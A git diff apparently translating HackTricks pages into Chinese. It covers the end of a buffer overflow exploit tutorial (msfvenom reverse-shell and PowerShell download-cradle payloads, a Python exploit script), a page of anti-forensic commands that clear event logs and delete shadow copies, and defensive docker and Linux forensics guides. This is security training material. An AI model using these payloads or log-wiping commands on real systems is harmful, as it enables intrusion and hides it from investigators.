+再次更改缓冲区:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@@ -141,30 +128,27 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
+坏字符从 0x01 开始,因为 0x00 几乎总是坏的。
-The badchars starts in 0x01 because 0x00 is almost always bad.
+重复执行利用这个新缓冲区,删除被发现无用的字符:
-Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
+例如:
-For example:
-
-In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
+在这种情况下,你可以看到 **你不应该使用字符 0x0A**(由于字符 0x09,内存中没有保存任何内容)。
 (1).png>)
-In this case you can see that **the char 0x0D is avoided**:
+在这种情况下,你可以看到 **字符 0x0D 被避免**:
 (1).png>)
-## Find a JMP ESP as a return address
-
-Using:
+## 找到 JMP ESP 作为返回地址
+使用:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
-
-You will **list the memory maps**. Search for some DLl that has:
+您将**列出内存映射**。搜索一些具有以下特征的 DLL:
- **Rebase: False**
- **SafeSEH: False**
@@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
 (1).png>)
-Now, inside this memory you should find some JMP ESP bytes, to do that execute:
-
+现在,在此内存中,您应该找到一些 JMP ESP 字节,要做到这一点,请执行:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
-
-**Then, if some address is found, choose one that don't contain any badchar:**
+**然后,如果找到某个地址,选择一个不包含任何坏字符的地址:**
 (1).png>)
-**In this case, for example: \_0x5f4a358f**\_
-
-## Create shellcode
+**在这种情况下,例如:\_0x5f4a358f**\_
+## 创建 shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
+如果漏洞利用没有成功但应该成功(你可以通过ImDebg看到shellcode已到达),尝试创建其他shellcode(使用msfvenom为相同参数创建不同的shellcode)。
-If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
-
-**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
-
+**在shellcode的开头添加一些NOPS**,并使用它和返回地址来JMP ESP,完成漏洞利用:
```bash
#!/usr/bin/python
@@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
-
> [!WARNING]
-> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
+> 有些 shellcode 会 **自我覆盖**,因此在 shellcode 之前始终添加一些 NOP 是很重要的。
-## Improving the shellcode
-
-Add this parameters:
+## 改进 shellcode
+添加以下参数:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md
index e725dfa85..36f3ea518 100644
--- a/src/forensics/basic-forensic-methodology/README.md
+++ b/src/forensics/basic-forensic-methodology/README.md
@@ -1,30 +1,30 @@
-# Basic Forensic Methodology
+# 基本取证方法论
{{#include ../../banners/hacktricks-training.md}}
-## Creating and Mounting an Image
+## 创建和挂载映像
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
-## Malware Analysis
+## 恶意软件分析
-This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**:
+这**并不是在获得映像后必须执行的第一步**。但是如果你有一个文件、文件系统映像、内存映像、pcap...你可以独立使用这些恶意软件分析技术,因此**记住这些操作是好的**:
{{#ref}}
malware-analysis.md
{{#endref}}
-## Inspecting an Image
+## 检查映像
-if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in:
+如果你获得了设备的**取证映像**,你可以开始**分析分区、文件系统**并**恢复**潜在的**有趣文件**(甚至是已删除的文件)。了解如何进行:
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
-Depending on the used OSs and even platform different interesting artifacts should be searched:
+根据使用的操作系统甚至平台,应该搜索不同的有趣文物:
{{#ref}}
windows-forensics/
@@ -38,42 +38,42 @@ linux-forensics.md
docker-forensics.md
{{#endref}}
-## Deep inspection of specific file-types and Software
+## 深入检查特定文件类型和软件
-If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\
-Read the following page to learn some interesting tricks:
+如果你有非常**可疑的****文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**是有用的。\
+阅读以下页面以了解一些有趣的技巧:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
-I want to do a special mention to the page:
+我想特别提到以下页面:
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}}
-## Memory Dump Inspection
+## 内存转储检查
{{#ref}}
memory-dump-analysis/
{{#endref}}
-## Pcap Inspection
+## Pcap 检查
{{#ref}}
pcap-inspection/
{{#endref}}
-## **Anti-Forensic Techniques**
+## **反取证技术**
-Keep in mind the possible use of anti-forensic techniques:
+请记住可能使用反取证技术:
{{#ref}}
anti-forensic-techniques.md
{{#endref}}
-## Threat Hunting
+## 威胁狩猎
{{#ref}}
file-integrity-monitoring.md
diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
index 615ede378..991f68482 100644
--- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
@@ -1,159 +1,151 @@
{{#include ../../banners/hacktricks-training.md}}
-
+# 时间戳
-{% embed url="https://websec.nl/" %}
+攻击者可能会对**更改文件的时间戳**感兴趣,以避免被检测。\
+可以在MFT中的属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。
-# Timestamps
+这两个属性都有4个时间戳:**修改**、**访问**、**创建**和**MFT注册修改**(MACE或MACB)。
-An attacker may be interested in **changing the timestamps of files** to avoid being detected.\
-It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`.
+**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。
-Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB).
+## TimeStomp - 反取证工具
-**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**.
-
-## TimeStomp - Anti-forensic Tool
-
-This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**.
+该工具**修改**`$STANDARD_INFORMATION`中的时间戳信息**但**不修改`$FILE_NAME`中的信息。因此,可以**识别****可疑****活动**。
## Usnjrnl
-The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes.
+**USN日志**(更新序列号日志)是NTFS(Windows NT文件系统)的一个特性,用于跟踪卷更改。 [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。
.png>)
-The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file.
+上图是**工具**显示的**输出**,可以观察到对文件进行了一些**更改**。
## $LogFile
-**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes.
+**对文件系统的所有元数据更改都被记录**在一个称为[写前日志](https://en.wikipedia.org/wiki/Write-ahead_logging)的过程中。记录的元数据保存在名为`**$LogFile**`的文件中,该文件位于NTFS文件系统的根目录。可以使用[LogFileParser](https://github.com/jschicht/LogFileParser)等工具解析此文件并识别更改。
.png>)
-Again, in the output of the tool it's possible to see that **some changes were performed**.
+同样,在工具的输出中可以看到**进行了一些更改**。
-Using the same tool it's possible to identify to **which time the timestamps were modified**:
+使用同一工具可以识别**时间戳被修改到哪个时间**:
.png>)
-- CTIME: File's creation time
-- ATIME: File's modification time
-- MTIME: File's MFT registry modification
-- RTIME: File's access time
+- CTIME: 文件创建时间
+- ATIME: 文件修改时间
+- MTIME: 文件的MFT注册修改
+- RTIME: 文件的访问时间
-## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison
+## `$STANDARD_INFORMATION`和`$FILE_NAME`比较
-Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**.
+识别可疑修改文件的另一种方法是比较两个属性上的时间,寻找**不匹配**。
-## Nanoseconds
+## 纳秒
-**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**.
+**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳如2010-10-10 10:10:**00.000:0000的文件是非常可疑的**。
-## SetMace - Anti-forensic Tool
+## SetMace - 反取证工具
-This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information.
+该工具可以修改两个属性`$STARNDAR_INFORMATION`和`$FILE_NAME`。然而,从Windows Vista开始,必须在活动操作系统中修改此信息。
-# Data Hiding
+# 数据隐藏
-NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**.
+NFTS使用集群和最小信息大小。这意味着如果一个文件占用一个半集群,**剩下的半个集群将永远不会被使用**,直到文件被删除。因此,可以在这个松弛空间中**隐藏数据**。
-There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added:
+有像slacker这样的工具可以在这个“隐藏”空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示一些数据被添加:
.png>)
-Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted.
+然后,可以使用FTK Imager等工具检索松弛空间。请注意,这种工具可以保存内容为模糊或甚至加密的形式。
# UsbKill
-This is a tool that will **turn off the computer if any change in the USB** ports is detected.\
-A way to discover this would be to inspect the running processes and **review each python script running**.
+这是一个工具,如果检测到USB端口的任何更改,将**关闭计算机**。\
+发现这一点的一种方法是检查正在运行的进程并**审查每个正在运行的python脚本**。
-# Live Linux Distributions
+# 实时Linux发行版
-These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion.
+这些发行版在**RAM**内存中**执行**。检测它们的唯一方法是**在NTFS文件系统以写入权限挂载的情况下**。如果仅以读取权限挂载,则无法检测到入侵。
-# Secure Deletion
+# 安全删除
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
-# Windows Configuration
+# Windows配置
-It's possible to disable several windows logging methods to make the forensics investigation much harder.
+可以禁用多个Windows日志记录方法,以使取证调查变得更加困难。
-## Disable Timestamps - UserAssist
+## 禁用时间戳 - UserAssist
-This is a registry key that maintains dates and hours when each executable was run by the user.
+这是一个注册表项,维护用户运行每个可执行文件的日期和时间。
-Disabling UserAssist requires two steps:
+禁用UserAssist需要两个步骤:
-1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled.
-2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
+1. 设置两个注册表项,`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`,都设置为零,以表示我们希望禁用UserAssist。
+2. 清除看起来像`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`的注册表子树。
-## Disable Timestamps - Prefetch
+## 禁用时间戳 - Prefetch
-This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices.
+这将保存有关执行的应用程序的信息,目的是提高Windows系统的性能。然而,这对于取证实践也可能有用。
-- Execute `regedit`
-- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
-- Right-click on both `EnablePrefetcher` and `EnableSuperfetch`
-- Select Modify on each of these to change the value from 1 (or 3) to 0
-- Restart
+- 执行`regedit`
+- 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
+- 右键单击`EnablePrefetcher`和`EnableSuperfetch`
+- 选择修改,将每个值从1(或3)更改为0
+- 重启
-## Disable Timestamps - Last Access Time
+## 禁用时间戳 - 最后访问时间
-Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance.
+每当从Windows NT服务器上的NTFS卷打开文件夹时,系统会花时间**更新每个列出文件夹的时间戳字段**,称为最后访问时间。在一个使用频繁的NTFS卷上,这可能会影响性能。
-1. Open the Registry Editor (Regedit.exe).
-2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
-3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process.
-4. Close the Registry Editor, and reboot the server.
+1. 打开注册表编辑器(Regedit.exe)。
+2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
+3. 查找`NtfsDisableLastAccessUpdate`。如果不存在,请添加此DWORD并将其值设置为1,这将禁用该过程。
+4. 关闭注册表编辑器,并重启服务器。
-## Delete USB History
+## 删除USB历史
-All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\
-You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them).
+所有**USB设备条目**都存储在Windows注册表下的**USBSTOR**注册表项中,该项包含在您将USB设备插入PC或笔记本电脑时创建的子项。您可以在这里找到此项`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**将删除USB历史。\
+您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)确保您已删除它们(并删除它们)。
-Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted.
+另一个保存USB信息的文件是`C:\Windows\INF`中的`setupapi.dev.log`。这也应该被删除。
-## Disable Shadow Copies
+## 禁用影子副本
-**List** shadow copies with `vssadmin list shadowstorage`\
-**Delete** them running `vssadmin delete shadow`
+**列出**影子副本使用`vssadmin list shadowstorage`\
+**删除**它们运行`vssadmin delete shadow`
-You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
+您还可以通过GUI删除它们,按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤进行操作。
-To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
+要禁用影子副本,请参见[此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
-1. Open the Services program by typing "services" into the text search box after clicking the Windows start button.
-2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking.
-3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK.
+1. 通过在点击Windows开始按钮后在文本搜索框中输入“services”打开服务程序。
+2. 从列表中找到“卷影副本”,选择它,然后右键单击访问属性。
+3. 从“启动类型”下拉菜单中选择禁用,然后通过单击应用和确定确认更改。
-It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
+还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改将要在影子副本中复制的文件的配置。
-## Overwrite deleted files
+## 覆盖已删除文件
-- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive.
-- You can also use tools like [**Eraser**](https://eraser.heidi.ie)
+- 您可以使用**Windows工具**:`cipher /w:C`这将指示cipher从C驱动器的可用未使用磁盘空间中删除任何数据。
+- 您还可以使用像[**Eraser**](https://eraser.heidi.ie)这样的工具。
-## Delete Windows event logs
+## 删除Windows事件日志
-- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log"
+- Windows + R --> eventvwr.msc --> 展开“Windows日志” --> 右键单击每个类别并选择“清除日志”
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
-## Disable Windows event logs
+## 禁用Windows事件日志
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
-- Inside the services section disable the service "Windows Event Log"
-- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl`
+- 在服务部分禁用“Windows事件日志”服务
+- `WEvtUtil.exec clear-log`或`WEvtUtil.exe cl`
-## Disable $UsnJrnl
+## 禁用$UsnJrnl
- `fsutil usn deletejournal /d c:`
-
-
-{% embed url="https://websec.nl/" %}
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md
index 629251985..a5248614c 100644
--- a/src/forensics/basic-forensic-methodology/docker-forensics.md
+++ b/src/forensics/basic-forensic-methodology/docker-forensics.md
@@ -1,25 +1,16 @@
-# Docker Forensics
+# Docker 取证
{{#include ../../banners/hacktricks-training.md}}
-
-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
-
-## Container modification
-
-There are suspicions that some docker container was compromised:
+## 容器修改
+有怀疑某些 docker 容器被破坏:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
-
-You can easily **find the modifications done to this container with regards to the image** with:
-
+您可以轻松地**找到与镜像相关的此容器所做的修改**,方法是:
```bash
docker diff wordpress
C /var
@@ -33,70 +24,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
-
-In the previous command **C** means **Changed** and **A,** **Added**.\
-If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with:
-
+在之前的命令中,**C** 代表 **Changed**,而 **A** 代表 **Added**。\
+如果你发现某个有趣的文件,比如 `/etc/shadow` 被修改了,你可以使用以下命令从容器中下载它以检查恶意活动:
```bash
docker cp wordpress:/etc/shadow.
```
-
-You can also **compare it with the original one** running a new container and extracting the file from it:
-
+您还可以通过运行一个新容器并从中提取文件来**与原始文件进行比较**:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
-
-If you find that **some suspicious file was added** you can access the container and check it:
-
+如果您发现**添加了一些可疑文件**,您可以访问容器并检查它:
```bash
docker exec -it wordpress bash
```
+## 图像修改
-## Images modifications
-
-When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**:
-
+当你获得一个导出的 docker 镜像(可能是 `.tar` 格式)时,你可以使用 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) 来 **提取修改的摘要**:
```bash
docker save > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
-
-Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history:
-
+然后,您可以**解压**映像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件:
```bash
tar -xf image.tar
```
+### 基本分析
-### Basic Analysis
-
-You can get **basic information** from the image running:
-
+您可以通过运行以下命令从镜像获取**基本信息**:
```bash
docker inspect
```
-
-You can also get a summary **history of changes** with:
-
+您还可以通过以下方式获取**更改历史**的摘要:
```bash
docker history --no-trunc
```
-
-You can also generate a **dockerfile from an image** with:
-
+您还可以使用以下命令从镜像生成 **dockerfile**:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
-
### Dive
-In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility:
-
+为了在docker镜像中查找添加/修改的文件,您还可以使用[**dive**](https://github.com/wagoodman/dive)(从[**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)下载):
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1 ⨯
@@ -105,27 +78,18 @@ Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
+这使您能够**浏览不同的docker镜像块**并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**键切换到其他视图,使用**space**键折叠/打开文件夹。
-This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders.
-
-With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\
-You can decompress all the layers from an image from the directory where the image was decompressed executing:
-
+使用die,您将无法访问镜像的不同阶段的内容。要做到这一点,您需要**解压每一层并访问它**。\
+您可以通过在解压镜像的目录中执行以下命令来解压镜像的所有层:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
+## 从内存中获取凭证
-## Credentials from memory
+请注意,当您在主机内部运行 docker 容器时,**您可以通过运行 `ps -ef` 查看容器中正在运行的进程**。
-Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef`
-
-Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory).
-
-
-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
+因此(作为 root),您可以**从主机转储进程的内存**并搜索**凭证**,就像[**以下示例**](../../linux-hardening/privilege-escalation/#process-memory)中所示。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
index 214b917cf..b564946f9 100644
--- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
+++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
@@ -1,25 +1,25 @@
{{#include ../../banners/hacktricks-training.md}}
-# Baseline
+# 基线
-A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**.
+基线是对系统某些部分进行快照,以**与未来状态进行比较以突出变化**。
-For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\
-This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all.
+例如,您可以计算并存储文件系统中每个文件的哈希值,以便找出哪些文件被修改。\
+这也可以应用于创建的用户帐户、正在运行的进程、正在运行的服务以及任何其他不应有太大变化的内容。
-## File Integrity Monitoring
+## 文件完整性监控
-File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps:
+文件完整性监控(FIM)是一种关键的安全技术,通过跟踪文件的变化来保护IT环境和数据。它涉及两个关键步骤:
-1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications.
-2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions.
+1. **基线比较:** 使用文件属性或加密校验和(如MD5或SHA-2)建立基线,以便进行未来的比较以检测修改。
+2. **实时变更通知:** 当文件被访问或更改时,立即获得警报,通常通过操作系统内核扩展实现。
-## Tools
+## 工具
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
-## References
+## 参考
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md
index 8d505942f..ebd46b550 100644
--- a/src/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/src/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,28 +1,17 @@
# Linux Forensics
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
{{#include ../../banners/hacktricks-training.md}}
-## Initial Information Gathering
+## 初始信息收集
-### Basic Information
-
-First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries:
+### 基本信息
+首先,建议准备一个**USB**,上面有**已知良好的二进制文件和库**(你可以直接获取ubuntu并复制文件夹 _/bin_, _/sbin_, _/lib,_ 和 _/lib64_),然后挂载USB,并修改环境变量以使用这些二进制文件:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-
-Once you have configured the system to use good and known binaries you can start **extracting some basic information**:
-
+一旦您配置系统以使用良好且已知的二进制文件,您就可以开始**提取一些基本信息**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
+#### 可疑信息
-#### Suspicious information
+在获取基本信息时,您应该检查一些奇怪的事情,例如:
-While obtaining the basic information you should check for weird things like:
+- **Root 进程** 通常运行在低 PIDS,因此如果您发现一个大 PID 的 root 进程,您可能会怀疑
+- 检查 **没有 shell 的用户的注册登录** 在 `/etc/passwd` 中
+- 检查 **没有 shell 的用户的密码哈希** 在 `/etc/shadow` 中
-- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect
-- Check **registered logins** of users without a shell inside `/etc/passwd`
-- Check for **password hashes** inside `/etc/shadow` for users without a shell
+### 内存转储
-### Memory Dump
-
-To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\
-To **compile** it, you need to use the **same kernel** that the victim machine is using.
+要获取运行系统的内存,建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\
+要 **编译** 它,您需要使用受害者机器正在使用的 **相同内核**。
> [!NOTE]
-> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it
-
-So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\
-In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them:
+> 请记住,您 **不能在受害者机器上安装 LiME 或其他任何东西**,因为这会对其进行多次更改
+因此,如果您有一个相同版本的 Ubuntu,您可以使用 `apt-get install lime-forensics-dkms`\
